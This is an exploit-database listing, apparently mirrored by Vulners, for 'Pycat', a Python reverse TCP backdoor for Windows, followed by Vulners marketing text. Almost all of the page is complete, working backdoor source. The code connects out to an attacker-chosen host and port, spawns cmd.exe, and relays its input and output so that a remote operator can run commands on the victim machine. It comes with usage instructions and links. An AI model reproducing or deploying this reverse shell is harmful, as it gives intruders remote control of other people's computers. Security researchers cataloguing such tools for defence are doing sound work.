Lucene search
K

Pycat Simple Windows Reverse TCP backdoor Exploit

🗓️ 28 Apr 2019 00:00:00Reported by Daniel MorenoType 
zdt
 zdt
🔗 0day.today👁 81 Views

Pycat Simple Windows Reverse TCP backdoor Exploit with asyncio shel

Code
Pycat Simple Windows Reverse TCP backdoor Exploit

import asyncio
import socket
import argparse

parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter, 
                                 description="###############         pycat         ###############\n" \
                                             "          Windows Reverse TCP backdoor\n"
                                             "Usage: python pycat.py --host netcatIP --port PORT\n\n" \
                                             "Demo:    youtube.com/watch?v=3sMhHL6c68E\n"\
                       "GitHub:  github.com/danielhnmoreno/pycat\n" \
                                             "Contact: [email protected]")

parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')

arguments = parser.parse_args()

HOST = arguments.host
PORT = arguments.port


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

async def shell():
    while 1:
        proc = await asyncio.create_subprocess_shell("cmd",
                                                     stdin=asyncio.subprocess.PIPE,
                                                     stdout=asyncio.subprocess.PIPE,
                                                     stderr=asyncio.subprocess.STDOUT)
        cmd = b"\n"
        proc.stdin.write(cmd)

        while 1:
            while 1:
                out = await proc.stdout.readline()
                break_ = out.decode("latin-1")
                if break_[-2:] == ">\n" or break_[-3:] == "> \n":
                    s.send(out[:-1])
                    break
                elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
                    pass
                else:
                    s.send(out)

            cmd = s.recv(1024)
            cmd_ = cmd.decode()
            if cmd_ == "\n":
                proc.stdin.write(b"\n")
            elif cmd_.startswith("exit"):
                proc.terminate()
                break
            else:
                proc.stdin.write(cmd + b"\n")

asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation